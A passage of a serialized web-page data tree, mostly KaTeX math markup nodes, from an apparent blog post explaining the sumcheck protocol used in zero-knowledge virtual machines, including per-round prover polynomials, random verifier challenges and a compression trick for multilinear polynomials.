props":119344,"children":119346},{"className":119345,"style":32866},[15314],[119347],{"type":23,"tag":75,"props":119348,"children":119349},{"style":32870},[119350,119354],{"type":23,"tag":75,"props":119351,"children":119353},{"className":119352,"style":15324},[15323],[],{"type":23,"tag":75,"props":119355,"children":119357},{"className":119356},[15329,15330,15331,15332],[119358],{"type":23,"tag":75,"props":119359,"children":119361},{"className":119360},[15284,15332],[119362,119419,119424,119429,119434,119439,119444],{"type":23,"tag":75,"props":119363,"children":119365},{"className":119364},[15284,15332],[119366,119371],{"type":23,"tag":75,"props":119367,"children":119369},{"className":119368},[15284,32803,15332],[119370],{"type":29,"value":30499},{"type":23,"tag":75,"props":119372,"children":119374},{"className":119373},[15299],[119375],{"type":23,"tag":75,"props":119376,"children":119378},{"className":119377},[15304,32857],[119379,119408],{"type":23,"tag":75,"props":119380,"children":119382},{"className":119381},[15309],[119383,119403],{"type":23,"tag":75,"props":119384,"children":119386},{"className":119385,"style":119233},[15314],[119387],{"type":23,"tag":75,"props":119388,"children":119389},{"style":119237},[119390,119394],{"type":23,"tag":75,"props":119391,"children":119393},{"className":119392,"style":119242},[15323],[],{"type":23,"tag":75,"props":119395,"children":119397},{"className":119396},[15329,119247,119248,15332],[119398],{"type":23,"tag":75,"props":119399,"children":119401},{"className":119400},[15284,15332],[119402],{"type":29,"value":14409},{"type":23,"tag":75,"props":119404,"children":119406},{"className":119405},[32960],[119407],{"type":29,"value":32963},{"type":23,"tag":75,"props":119409,"children":119411},{"className":119410},[15309],[119412],{"type":23,"tag":75,"props":119413,"children":119415},{"className":119414,"style":119267},[15314],[119416],{"type":23,"tag":75,"props":119417,"children":119418},{},[],{"type":23,"tag":75,"props":119420,"children":119422},{"className":119421},[15466,15332],[119423],{"type":29,"value":32910},{"type":23,"tag":75,"props":119425,"children":119427},{"className":119426},[32932,15332],[119428],{"type":29,"value":853},{"type":23,"tag":75,"props":119430,"children":119432},{"className":119431},[15284,15332],[119433],{"type":29,"value":648},{"type":23,"tag":75,"props":119435,"children":119437},{"className":119436},[15395,15332],[119438],{"type":29,"value":15398},{"type":23,"tag":75,"props":119440,"children":119442},{"className":119441},[15284,15332],[119443],{"type":29,"value":7867},{"type":23,"tag":75,"props":119445,"children":119447},{"className":119446},[32954,15332],[119448],{"type":29,"value":45334},{"type":23,"tag":75,"props":119450,"children":119452},{"className":119451},[32960],[119453],{"type":29,"value":32963},{"type":23,"tag":75,"props":119455,"children":119457},{"className":119456},[15309],[119458],{"type":23,"tag":75,"props":119459,"children":119461},{"className":119460,"style":32971},[15314],[119462],{"type":23,"tag":75,"props":119463,"children":119464},{},[],{"type":23,"tag":75,"props":119466,"children":119468},{"className":119467,"style":15402},[15363],[],{"type":23,"tag":75,"props":119470,"children":119473},{"className":119471},[119472],"minner",[119474],{"type":29,"value":119475},"⋯",{"type":23,"tag":75,"props":119477,"children":119479},{"className":119478,"style":15402},[15363],[],{"type":23,"tag":75,"props":119481,"children":119483},{"className":119482},[32839],[119484,119489],{"type":23,"tag":75,"props":119485,"children":119487},{"className":119486,"style":32846},[32839,32844,32845],[119488],{"type":29,"value":119177},{"type":23,"tag":75,"props":119490,"children":119492},{"className":119491},[15299],[119493],{"type":23,"tag":75,"props":119494,"children":119496},{"className":119495},[15304,32857],[119497,119613],{"type":23,"tag":75,"props":119498,"children":119500},{"className":119499},[15309],[119501,119608],{"type":23,"tag":75,"props":119502,"children":119504},{"className":119503,"style":32866},[15314],[119505],{"type":23,"tag":75,"props":119506,"children":119507},{"style":32870},[119508,119512],{"type":23,"tag":75,"props":119509,"children":119511},{"className":119510,"style":15324},[15323],[],{"type":23,"tag":75,"props":119513,"children":119515},{"className":119514},[15329,15330,15331,15332],[119516],{"type":23,"tag":75,"props":119517,"children":119519},{"className":119518},[15284,15332],[119520,119578,119583,119588,119593,119598,119603],{"type":23,"tag":75,"props":119521,"children":119523},{"className":119522},[15284,15332],[119524,119529],{"type":23,"tag":75,"props":119525,"children":119527},{"className":119526},[15284,32803,15332],[119528],{"type":29,"value":30499},{"type":23,"tag":75,"props":119530,"children":119532},{"className":119531},[15299],[119533],{"type":23,"tag":75,"props":119534,"children":119536},{"className":119535},[15304,32857],[119537,119567],{"type":23,"tag":75,"props":119538,"children":119540},{"className":119539},[15309],[119541,119562],{"type":23,"tag":75,"props":119542,"children":119545},{"className":119543,"style":119544},[15314],"height:0.1645em;",[119546],{"type":23,"tag":75,"props":119547,"children":119548},{"style":119237},[119549,119553],{"type":23,"tag":75,"props":119550,"children":119552},{"className":119551,"style":119242},[15323],[],{"type":23,"tag":75,"props":119554,"children":119556},{"className":119555},[15329,119247,119248,15332],[119557],{"type":23,"tag":75,"props":119558,"children":119560},{"className":119559},[15284,32803,15332],[119561],{"type":29,"value":67587},{"type":23,"tag":75,"props":119563,"children":119565},{"className":119564},[32960],[119566],{"type":29,"value":32963},{"type":23,"tag":75,"props":119568,"children":119570},{"className":119569},[15309],[119571],{"type":23,"tag":75,"props":119572,"children":119574},{"className":119573,"style":119267},[15314],[119575],{"type":23,"tag":75,"props":119576,"children":119577},{},[],{"type":23,"tag":75,"props":119579,"children":119581},{"className":119580},[15466,15332],[119582],{"type":29,"value":32910},{"type":23,"tag":75,"props":119584,"children":119586},{"className":119585},[32932,15332],[119587],{"type":29,"value":853},{"type":23,"tag":75,"props":119589,"children":119591},{"className":119590},[15284,15332],[119592],{"type":29,"value":648},{"type":23,"tag":75,"props":119594,"children":119596},{"className":119595},[15395,15332],[119597],{"type":29,"value":15398},{"type":23,"tag":75,"props":119599,"children":119601},{"className":119600},[15284,15332],[119602],{"type":29,"value":7867},{"type":23,"tag":75,"props":119604,"children":119606},{"className":119605},[32954,15332],[119607],{"type":29,"value":45334},{"type":23,"tag":75,"props":119609,"children":119611},{"className":119610},[32960],[119612],{"type":29,"value":32963},{"type":23,"tag":75,"props":119614,"children":119616},{"className":119615},[15309],[119617],{"type":23,"tag":75,"props":119618,"children":119620},{"className":119619,"style":32971},[15314],[119621],{"type":23,"tag":75,"props":119622,"children":119623},{},[],{"type":23,"tag":75,"props":119625,"children":119627},{"className":119626,"style":15402},[15363],[],{"type":23,"tag":75,"props":119629,"children":119631},{"className":119630,"style":103868},[15284,32803],[119632],{"type":29,"value":119633},"g",{"type":23,"tag":75,"props":119635,"children":119637},{"className":119636},[32932],[119638],{"type":29,"value":643},{"type":23,"tag":75,"props":119640,"children":119642},{"className":119641},[15284],[119643,119648],{"type":23,"tag":75,"props":119644,"children":119646},{"className":119645},[15284,32803],[119647],{"type":29,"value":30499},{"type":23,"tag":75,"props":119649,"children":119651},{"className":119650},[15299],[119652],{"type":23,"tag":75,"props":119653,"children":119655},{"className":119654},[15304,32857],[119656,119685],{"type":23,"tag":75,"props":119657,"children":119659},{"className":119658},[15309],[119660,119680],{"type":23,"tag":75,"props":119661,"children":119663},{"className":119662,"style":103434},[15314],[119664],{"type":23,"tag":75,"props":119665,"children":119666},{"style":103438},[119667,119671],{"type":23,"tag":75,"props":119668,"children":119670},{"className":119669,"style":15324},[15323],[],{"type":23,"tag":75,"props":119672,"children":119674},{"className":119673},[15329,15330,15331,15332],[119675],{"type":23,"tag":75,"props":119676,"children":119678},{"className":119677},[15284,15332],[119679],{"type":29,"value":7867},{"type":23,"tag":75,"props":119681,"children":119683},{"className":119682},[32960],[119684],{"type":29,"value":32963},{"type":23,"tag":75,"props":119686,"children":119688},{"className":119687},[15309],[119689],{"type":23,"tag":75,"props":119690,"children":119692},{"className":119691,"style":103465},[15314],[119693],{"type":23,"tag":75,"props":119694,"children":119695},{},[],{"type":23,"tag":75,"props":119697,"children":119699},{"className":119698},[15395],[119700],{"type":29,"value":15398},{"type":23,"tag":75,"props":119702,"children":119704},{"className":119703,"style":15402},[15363],[],{"type":23,"tag":75,"props":119706,"children":119708},{"className":119707},[15284],[119709,119714],{"type":23,"tag":75,"props":119710,"children":119712},{"className":119711},[15284,32803],[119713],{"type":29,"value":30499},{"type":23,"tag":75,"props":119715,"children":119717},{"className":119716},[15299],[119718],{"type":23,"tag":75,"props":119719,"children":119721},{"className":119720},[15304,32857],[119722,119751],{"type":23,"tag":75,"props":119723,"children":119725},{"className":119724},[15309],[119726,119746],{"type":23,"tag":75,"props":119727,"children":119729},{"className":119728,"style":103434},[15314],[119730],{"type":23,"tag":75,"props":119731,"children":119732},{"style":103438},[119733,119737],{"type":23,"tag":75,"props":119734,"children":119736},{"className":119735,"style":15324},[15323],[],{"type":23,"tag":75,"props":119738,"children":119740},{"className":119739},[15329,15330,15331,15332],[119741],{"type":23,"tag":75,"props":119742,"children":119744},{"className":119743},[15284,15332],[119745],{"type":29,"value":14409},{"type":23,"tag":75,"props":119747,"children":119749},{"className":119748},[32960],[119750],{"type":29,"value":32963},{"type":23,"tag":75,"props":119752,"children":119754},{"className":119753},[15309],[119755],{"type":23,"tag":75,"props":119756,"children":119758},{"className":119757,"style":103465},[15314],[119759],{"type":23,"tag":75,"props":119760,"children":119761},{},[],{"type":23,"tag":75,"props":119763,"children":119765},{"className":119764},[15395],[119766],{"type":29,"value":15398},{"type":23,"tag":75,"props":119768,"children":119770},{"className":119769,"style":15402},[15363],[],{"type":23,"tag":75,"props":119772,"children":119774},{"className":119773},[119472],[119775],{"type":29,"value":119776},"…",{"type":23,"tag":75,"props":119778,"children":119780},{"className":119779,"style":15402},[15363],[],{"type":23,"tag":75,"props":119782,"children":119784},{"className":119783},[15395],[119785],{"type":29,"value":15398},{"type":23,"tag":75,"props":119787,"children":119789},{"className":119788,"style":15402},[15363],[],{"type":23,"tag":75,"props":119791,"children":119793},{"className":119792},[15284],[119794,119799],{"type":23,"tag":75,"props":119795,"children":119797},{"className":119796},[15284,32803],[119798],{"type":29,"value":30499},{"type":23,"tag":75,"props":119800,"children":119802},{"className":119801},[15299],[119803],{"type":23,"tag":75,"props":119804,"children":119806},{"className":119805},[15304,32857],[119807,119837],{"type":23,"tag":75,"props":119808,"children":119810},{"className":119809},[15309],[119811,119832],{"type":23,"tag":75,"props":119812,"children":119815},{"className":119813,"style":119814},[15314],"height:0.1514em;",[119816],{"type":23,"tag":75,"props":119817,"children":119818},{"style":103438},[119819,119823],{"type":23,"tag":75,"props":119820,"children":119822},{"className":119821,"style":15324},[15323],[],{"type":23,"tag":75,"props":119824,"children":119826},{"className":119825},[15329,15330,15331,15332],[119827],{"type":23,"tag":75,"props":119828,"children":119830},{"className":119829},[15284,32803,15332],[119831],{"type":29,"value":67587},{"type":23,"tag":75,"props":119833,"children":119835},{"className":119834},[32960],[119836],{"type":29,"value":32963},{"type":23,"tag":75,"props":119838,"children":119840},{"className":119839},[15309],[119841],{"type":23,"tag":75,"props":119842,"children":119844},{"className":119843,"style":103465},[15314],[119845],{"type":23,"tag":75,"props":119846,"children":119847},{},[],{"type":23,"tag":75,"props":119849,"children":119851},{"className":119850},[32954],[119852],{"type":29,"value":1347},{"type":23,"tag":32,"props":119854,"children":119855},{},[119856,119858,119919],{"type":29,"value":119857},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":71,"props":119859,"children":119861},{"className":119860},[15256,15257],[119862],{"type":23,"tag":75,"props":119863,"children":119865},{"className":119864},[15262],[119866],{"type":23,"tag":75,"props":119867,"children":119869},{"className":119868,"ariaHidden":15268},[15267],[119870],{"type":23,"tag":75,"props":119871,"children":119873},{"className":119872},[15273],[119874,119878],{"type":23,"tag":75,"props":119875,"children":119877},{"className":119876,"style":119099},[15278],[],{"type":23,"tag":75,"props":119879,"children":119881},{"className":119880},[15284],[119882,119887],{"type":23,"tag":75,"props":119883,"children":119885},{"className":119884},[15284],[119886],{"type":29,"value":14409},{"type":23,"tag":75,"props":119888,"children":119890},{"className":119889},[15299],[119891],{"type":23,"tag":75,"props":119892,"children":119894},{"className":119893},[15304],[119895],{"type":23,"tag":75,"props":119896,"children":119898},{"className":119897},[15309],[119899],{"type":23,"tag":75,"props":119900,"children":119902},{"className":119901,"style":119099},[15314],[119903],{"type":23,"tag":75,"props":119904,"children":119905},{"style":15318},[119906,119910],{"type":23,"tag":75,"props":119907,"children":119909},{"className":119908,"style":15324},[15323],[],{"type":23,"tag":75,"props":119911,"children":119913},{"className":119912},[15329,15330,15331,15332],[119914],{"type":23,"tag":75,"props":119915,"children":119917},{"className":119916},[15284,32803,15332],[119918],{"type":29,"value":67587},{"type":29,"value":119920}," evaluations. This is exponentially expensive.",{"type":23,"tag":32,"props":119922,"children":119923},{},[119924,119926,119931],{"type":29,"value":119925},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":16596,"props":119927,"children":119928},{},[119929],{"type":29,"value":119930},"only one",{"type":29,"value":557},{"type":23,"tag":32,"props":119933,"children":119934},{},[119935],{"type":23,"tag":15189,"props":119936,"children":119939},{"alt":119937,"src":119938},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":32,"props":119941,"children":119942},{},[119943,119945,120037,120039,120224,120226,120251,120253,120331,120333,120412],{"type":29,"value":119944},"In each round, the prover must send a polynomial ",{"type":23,"tag":71,"props":119946,"children":119948},{"className":119947},[15256,15257],[119949],{"type":23,"tag":75,"props":119950,"children":119952},{"className":119951},[15262],[119953],{"type":23,"tag":75,"props":119954,"children":119956},{"className":119955,"ariaHidden":15268},[15267],[119957],{"type":23,"tag":75,"props":119958,"children":119960},{"className":119959},[15273],[119961,119965,120022,120027,120032],{"type":23,"tag":75,"props":119962,"children":119964},{"className":119963,"style":15384},[15278],[],{"type":23,"tag":75,"props":119966,"children":119968},{"className":119967},[15284],[119969,119974],{"type":23,"tag":75,"props":119970,"children":119972},{"className":119971,"style":103868},[15284,32803],[119973],{"type":29,"value":119633},{"type":23,"tag":75,"props":119975,"children":119977},{"className":119976},[15299],[119978],{"type":23,"tag":75,"props":119979,"children":119981},{"className":119980},[15304,32857],[119982,120011],{"type":23,"tag":75,"props":119983,"children":119985},{"className":119984},[15309],[119986,120006],{"type":23,"tag":75,"props":119987,"children":119989},{"className":119988,"style":103911},[15314],[119990],{"type":23,"tag":75,"props":119991,"children":119992},{"style":103915},[119993,119997],{"type":23,"tag":75,"props":119994,"children":119996},{"className":119995,"style":15324},[15323],[],{"type":23,"tag":75,"props":119998,"children":120000},{"className":119999},[15329,15330,15331,15332],[120001],{"type":23,"tag":75,"props":120002,"children":120004},{"className":120003},[15284,32803,15332],[120005],{"type":29,"value":12935},{"type":23,"tag":75,"props":120007,"children":120009},{"className":120008},[32960],[120010],{"type":29,"value":32963},{"type":23,"tag":75,"props":120012,"children":120014},{"className":120013},[15309],[120015],{"type":23,"tag":75,"props":120016,"children":120018},{"className":120017,"style":103465},[15314],[120019],{"type":23,"tag":75,"props":120020,"children":120021},{},[],{"type":23,"tag":75,"props":120023,"children":120025},{"className":120024},[32932],[120026],{"type":29,"value":643},{"type":23,"tag":75,"props":120028,"children":120030},{"className":120029,"style":105402},[15284,32803],[120031],{"type":29,"value":17401},{"type":23,"tag":75,"props":120033,"children":120035},{"className":120034},[32954],[120036],{"type":29,"value":1347},{"type":29,"value":120038}," such that ",{"type":23,"tag":71,"props":120040,"children":120042},{"className":120041},[15256,15257],[120043],{"type":23,"tag":75,"props":120044,"children":120046},{"className":120045},[15262],[120047],{"type":23,"tag":75,"props":120048,"children":120050},{"className":120049,"ariaHidden":15268},[15267],[120051,120144],{"type":23,"tag":75,"props":120052,"children":120054},{"className":120053},[15273],[120055,120059,120116,120121,120126,120131,120135,120140],{"type":23,"tag":75,"props":120056,"children":120058},{"className":120057,"style":15384},[15278],[],{"type":23,"tag":75,"props":120060,"children":120062},{"className":120061},[15284],[120063,120068],{"type":23,"tag":75,"props":120064,"children":120066},{"className":120065,"style":103868},[15284,32803],[120067],{"type":29,"value":119633},{"type":23,"tag":75,"props":120069,"children":120071},{"className":120070},[15299],[120072],{"type":23,"tag":75,"props":120073,"children":120075},{"className":120074},[15304,32857],[120076,120105],{"type":23,"tag":75,"props":120077,"children":120079},{"className":120078},[15309],[120080,120100],{"type":23,"tag":75,"props":120081,"children":120083},{"className":120082,"style":103911},[15314],[120084],{"type":23,"tag":75,"props":120085,"children":120086},{"style":103915},[120087,120091],{"type":23,"tag":75,"props":120088,"children":120090},{"className":120089,"style":15324},[15323],[],{"type":23,"tag":75,"props":120092,"children":120094},{"className":120093},[15329,15330,15331,15332],[120095],{"type":23,"tag":75,"props":120096,"children":120098},{"className":120097},[15284,32803,15332],[120099],{"type":29,"value":12935},{"type":23,"tag":75,"props":120101,"children":120103},{"className":120102},[32960],[120104],{"type":29,"value":32963},{"type":23,"tag":75,"props":120106,"children":120108},{"className":120107},[15309],[120109],{"type":23,"tag":75,"props":120110,"children":120112},{"className":120111,"style":103465},[15314],[120113],{"type":23,"tag":75,"props":120114,"children":120115},{},[],{"type":23,"tag":75,"props":120117,"children":120119},{"className":120118},[32932],[120120],{"type":29,"value":643},{"type":23,"tag":75,"props":120122,"children":120124},{"className":120123},[15284],[120125],{"type":29,"value":648},{"type":23,"tag":75,"props":120127,"children":120129},{"className":120128},[32954],[120130],{"type":29,"value":1347},{"type":23,"tag":75,"props":120132,"children":120134},{"className":120133,"style":15364},[15363],[],{"type":23,"tag":75,"props":120136,"children":120138},{"className":120137},[15369],[120139],{"type":29,"value":7862},{"type":23,"tag":75,"props":120141,"children":120143},{"className":120142,"style":15364},[15363],[],{"type":23,"tag":75,"props":120145,"children":120147},{"className":120146},[15273],[120148,120152,120209,120214,120219],{"type":23,"tag":75,"props":120149,"children":120151},{"className":120150,"style":15384},[15278],[],{"type":23,"tag":75,"props":120153,"children":120155},{"className":120154},[15284],[120156,120161],{"type":23,"tag":75,"props":120157,"children":120159},{"className":120158,"style":103868},[15284,32803],[120160],{"type":29,"value":119633},{"type":23,"tag":75,"props":120162,"children":120164},{"className":120163},[15299],[120165],{"type":23,"tag":75,"props":120166,"children":120168},{"className":120167},[15304,32857],[120169,120198],{"type":23,"tag":75,"props":120170,"children":120172},{"className":120171},[15309],[120173,120193],{"type":23,"tag":75,"props":120174,"children":120176},{"className":120175,"style":103911},[15314],[120177],{"type":23,"tag":75,"props":120178,"children":120179},{"style":103915},[120180,120184],{"type":23,"tag":75,"props":120181,"children":120183},{"className":120182,"style":15324},[15323],[],{"type":23,"tag":75,"props":120185,"children":120187},{"className":120186},[15329,15330,15331,15332],[120188],{"type":23,"tag":75,"props":120189,"children":120191},{"className":120190},[15284,32803,15332],[120192],{"type":29,"value":12935},{"type":23,"tag":75,"props":120194,"children":120196},{"className":120195},[32960],[120197],{"type":29,"value":32963},{"type":23,"tag":75,"props":120199,"children":120201},{"className":120200},[15309],[120202],{"type":23,"tag":75,"props":120203,"children":120205},{"className":120204,"style":103465},[15314],[120206],{"type":23,"tag":75,"props":120207,"children":120208},{},[],{"type":23,"tag":75,"props":120210,"children":120212},{"className":120211},[32932],[120213],{"type":29,"value":643},{"type":23,"tag":75,"props":120215,"children":120217},{"className":120216},[15284],[120218],{"type":29,"value":7867},{"type":23,"tag":75,"props":120220,"children":120222},{"className":120221},[32954],[120223],{"type":29,"value":1347},{"type":29,"value":120225}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":71,"props":120227,"children":120229},{"className":120228},[15256,15257],[120230],{"type":23,"tag":75,"props":120231,"children":120233},{"className":120232},[15262],[120234],{"type":23,"tag":75,"props":120235,"children":120237},{"className":120236,"ariaHidden":15268},[15267],[120238],{"type":23,"tag":75,"props":120239,"children":120241},{"className":120240},[15273],[120242,120246],{"type":23,"tag":75,"props":120243,"children":120245},{"className":120244,"style":32798},[15278],[],{"type":23,"tag":75,"props":120247,"children":120249},{"className":120248,"style":103616},[15284,32803],[120250],{"type":29,"value":103619},{"type":29,"value":120252},", then they must lie about ",{"type":23,"tag":71,"props":120254,"children":120256},{"className":120255},[15256,15257],[120257],{"type":23,"tag":75,"props":120258,"children":120260},{"className":120259},[15262],[120261],{"type":23,"tag":75,"props":120262,"children":120264},{"className":120263,"ariaHidden":15268},[15267],[120265],{"type":23,"tag":75,"props":120266,"children":120268},{"className":120267},[15273],[120269,120274],{"type":23,"tag":75,"props":120270,"children":120273},{"className":120271,"style":120272},[15278],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":120275,"children":120277},{"className":120276},[15284],[120278,120283],{"type":23,"tag":75,"props":120279,"children":120281},{"className":120280,"style":103868},[15284,32803],[120282],{"type":29,"value":119633},{"type":23,"tag":75,"props":120284,"children":120286},{"className":120285},[15299],[120287],{"type":23,"tag":75,"props":120288,"children":120290},{"className":120289},[15304,32857],[120291,120320],{"type":23,"tag":75,"props":120292,"children":120294},{"className":120293},[15309],[120295,120315],{"type":23,"tag":75,"props":120296,"children":120298},{"className":120297,"style":103911},[15314],[120299],{"type":23,"tag":75,"props":120300,"children":120301},{"style":103915},[120302,120306],{"type":23,"tag":75,"props":120303,"children":120305},{"className":120304,"style":15324},[15323],[],{"type":23,"tag":75,"props":120307,"children":120309},{"className":120308},[15329,15330,15331,15332],[120310],{"type":23,"tag":75,"props":120311,"children":120313},{"className":120312},[15284,32803,15332],[120314],{"type":29,"value":12935},{"type":23,"tag":75,"props":120316,"children":120318},{"className":120317},[32960],[120319],{"type":29,"value":32963},{"type":23,"tag":75,"props":120321,"children":120323},{"className":120322},[15309],[120324],{"type":23,"tag":75,"props":120325,"children":120327},{"className":120326,"style":103465},[15314],[120328],{"type":23,"tag":75,"props":120329,"children":120330},{},[],{"type":29,"value":120332}," somewhere. But since the verifier picks a random ",{"type":23,"tag":71,"props":120334,"children":120336},{"className":120335},[15256,15257],[120337],{"type":23,"tag":75,"props":120338,"children":120340},{"className":120339},[15262],[120341],{"type":23,"tag":75,"props":120342,"children":120344},{"className":120343,"ariaHidden":15268},[15267],[120345],{"type":23,"tag":75,"props":120346,"children":120348},{"className":120347},[15273],[120349,120354],{"type":23,"tag":75,"props":120350,"children":120353},{"className":120351,"style":120352},[15278],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":120355,"children":120357},{"className":120356},[15284],[120358,120363],{"type":23,"tag":75,"props":120359,"children":120361},{"className":120360,"style":103382},[15284,32803],[120362],{"type":29,"value":104201},{"type":23,"tag":75,"props":120364,"children":120366},{"className":120365},[15299],[120367],{"type":23,"tag":75,"props":120368,"children":120370},{"className":120369},[15304,32857],[120371,120401],{"type":23,"tag":75,"props":120372,"children":120374},{"className":120373},[15309],[120375,120396],{"type":23,"tag":75,"props":120376,"children":120378},{"className":120377,"style":103911},[15314],[120379],{"type":23,"tag":75,"props":120380,"children":120382},{"style":120381},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[120383,120387],{"type":23,"tag":75,"props":120384,"children":120386},{"className":120385,"style":15324},[15323],[],{"type":23,"tag":75,"props":120388,"children":120390},{"className":120389},[15329,15330,15331,15332],[120391],{"type":23,"tag":75,"props":120392,"children":120394},{"className":120393},[15284,32803,15332],[120395],{"type":29,"value":12935},{"type":23,"tag":75,"props":120397,"children":120399},{"className":120398},[32960],[120400],{"type":29,"value":32963},{"type":23,"tag":75,"props":120402,"children":120404},{"className":120403},[15309],[120405],{"type":23,"tag":75,"props":120406,"children":120408},{"className":120407,"style":103465},[15314],[120409],{"type":23,"tag":75,"props":120410,"children":120411},{},[],{"type":29,"value":120413},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":30116,"props":120415,"children":120417},{"id":120416},"the-compression-trick",[120418],{"type":29,"value":120419},"The Compression Trick",{"type":23,"tag":32,"props":120421,"children":120422},{},[120423,120425,120575,120577,120857],{"type":29,"value":120424},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":71,"props":120426,"children":120428},{"className":120427},[15256,15257],[120429],{"type":23,"tag":75,"props":120430,"children":120432},{"className":120431},[15262],[120433],{"type":23,"tag":75,"props":120434,"children":120436},{"className":120435,"ariaHidden":15268},[15267],[120437,120530,120557],{"type":23,"tag":75,"props":120438,"children":120440},{"className":120439},[15273],[120441,120445,120502,120507,120512,120517,120521,120526],{"type":23,"tag":75,"props":120442,"children":120444},{"className":120443,"style":15384},[15278],[],{"type":23,"tag":75,"props":120446,"children":120448},{"className":120447},[15284],[120449,120454],{"type":23,"tag":75,"props":120450,"children":120452},{"className":120451,"style":103868},[15284,32803],[120453],{"type":29,"value":119633},{"type":23,"tag":75,"props":120455,"children":120457},{"className":120456},[15299],[120458],{"type":23,"tag":75,"props":120459,"children":120461},{"className":120460},[15304,32857],[120462,120491],{"type":23,"tag":75,"props":120463,"children":120465},{"className":120464},[15309],[120466,120486],{"type":23,"tag":75,"props":120467,"children":120469},{"className":120468,"style":103911},[15314],[120470],{"type":23,"tag":75,"props":120471,"children":120472},{"style":103915},[120473,120477],{"type":23,"tag":75,"props":120474,"children":120476},{"className":120475,"style":15324},[15323],[],{"type":23,"tag":75,"props":120478,"children":120480},{"className":120479},[15329,15330,15331,15332],[120481],{"type":23,"tag":75,"props":120482,"children":120484},{"className":120483},[15284,32803,15332],[120485],{"type":29,"value":12935},{"type":23,"tag":75,"props":120487,"children":120489},{"className":120488},[32960],[120490],{"type":29,"value":32963},{"type":23,"tag":75,"props":120492,"children":120494},{"className":120493},[15309],[120495],{"type":23,"tag":75,"props":120496,"children":120498},{"className":120497,"style":103465},[15314],[120499],{"type":23,"tag":75,"props":120500,"children":120501},{},[],{"type":23,"tag":75,"props":120503,"children":120505},{"className":120504},[32932],[120506],{"type":29,"value":643},{"type":23,"tag":75,"props":120508,"children":120510},{"className":120509,"style":105402},[15284,32803],[120511],{"type":29,"value":17401},{"type":23,"tag":75,"props":120513,"children":120515},{"className":120514},[32954],[120516],{"type":29,"value":1347},{"type":23,"tag":75,"props":120518,"children":120520},{"className":120519,"style":15461},[15363],[],{"type":23,"tag":75,"props":120522,"children":120524},{"className":120523},[15466],[120525],{"type":29,"value":212},{"type":23,"tag":75,"props":120527,"children":120529},{"className":120528,"style":15461},[15363],[],{"type":23,"tag":75,"props":120531,"children":120533},{"className":120532},[15273],[120534,120539,120544,120548,120553],{"type":23,"tag":75,"props":120535,"children":120538},{"className":120536,"style":120537},[15278],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":120540,"children":120542},{"className":120541},[15284,32803],[120543],{"type":29,"value":940},{"type":23,"tag":75,"props":120545,"children":120547},{"className":120546,"style":15364},[15363],[],{"type":23,"tag":75,"props":120549,"children":120551},{"className":120550},[15369],[120552],{"type":29,"value":7862},{"type":23,"tag":75,"props":120554,"children":120556},{"className":120555,"style":15364},[15363],[],{"type":23,"tag":75,"props":120558,"children":120560},{"className":120559},[15273],[120561,120565,120570],{"type":23,"tag":75,"props":120562,"children":120564},{"className":120563,"style":103297},[15278],[],{"type":23,"tag":75,"props":120566,"children":120568},{"className":120567},[15284,32803],[120569],{"type":29,"value":14507},{"type":23,"tag":75,"props":120571,"children":120573},{"className":120572,"style":105402},[15284,32803],[120574],{"type":29,"value":17401},{"type":29,"value":120576}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":71,"props":120578,"children":120580},{"className":120579},[15256,15257],[120581],{"type":23,"tag":75,"props":120582,"children":120584},{"className":120583},[15262],[120585],{"type":23,"tag":75,"props":120586,"children":120588},{"className":120587,"ariaHidden":15268},[15267],[120589,120682,120775],{"type":23,"tag":75,"props":120590,"children":120592},{"className":120591},[15273],[120593,120597,120654,120659,120664,120669,120673,120678],{"type":23,"tag":75,"props":120594,"children":120596},{"className":120595,"style":15384},[15278],[],{"type":23,"tag":75,"props":120598,"children":120600},{"className":120599},[15284],[120601,120606],{"type":23,"tag":75,"props":120602,"children":120604},{"className":120603,"style":103868},[15284,32803],[120605],{"type":29,"value":119633},{"type":23,"tag":75,"props":120607,"children":120609},{"className":120608},[15299],[120610],{"type":23,"tag":75,"props":120611,"children":120613},{"className":120612},[15304,32857],[120614,120643],{"type":23,"tag":75,"props":120615,"children":120617},{"className":120616},[15309],[120618,120638],{"type":23,"tag":75,"props":120619,"children":120621},{"className":120620,"style":103911},[15314],[120622],{"type":23,"tag":75,"props":120623,"children":120624},{"style":103915},[120625,120629],{"type":23,"tag":75,"props":120626,"children":120628},{"className":120627,"style":15324},[15323],[],{"type":23,"tag":75,"props":120630,"children":120632},{"className":120631},[15329,15330,15331,15332],[120633],{"type":23,"tag":75,"props":120634,"children":120636},{"className":120635},[15284,32803,15332],[120637],{"type":29,"value":12935},{"type":23,"tag":75,"props":120639,"children":120641},{"className":120640},[32960],[120642],{"type":29,"value":32963},{"type":23,"tag":75,"props":120644,"children":120646},{"className":120645},[15309],[120647],{"type":23,"tag":75,"props":120648,"children":120650},{"className":120649,"style":103465},[15314],[120651],{"type":23,"tag":75,"props":120652,"children":120653},{},[],{"type":23,"tag":75,"props":120655,"children":120657},{"className":120656},[32932],[120658],{"type":29,"value":643},{"type":23,"tag":75,"props":120660,"children":120662},{"className":120661},[15284],[120663],{"type":29,"value":648},{"type":23,"tag":75,"props":120665,"children":120667},{"className":120666},[32954],[120668],{"type":29,"value":1347},{"type":23,"tag":75,"props":120670,"children":120672},{"className":120671,"style":15364},[15363],[],{"type":23,"tag":75,"props":120674,"children":120676},{"className":120675},[15369],[120677],{"type":29,"value":7862},{"type":23,"tag":75,"props":120679,"children":120681},{"className":120680,"style":15364},[15363],[],{"type":23,"tag":75,"props":120683,"children":120685},{"className":120684},[15273],[120686,120690,120747,120752,120757,120762,120766,120771],{"type":23,"tag":75,"props":120687,"children":120689},{"className":120688,"style":15384},[15278],[],{"type":23,"tag":75,"props":120691,"children":120693},{"className":120692},[15284],[120694,120699],{"type":23,"tag":75,"props":120695,"children":120697},{"className":120696,"style":103868},[15284,32803],[120698],{"type":29,"value":119633},{"type":23,"tag":75,"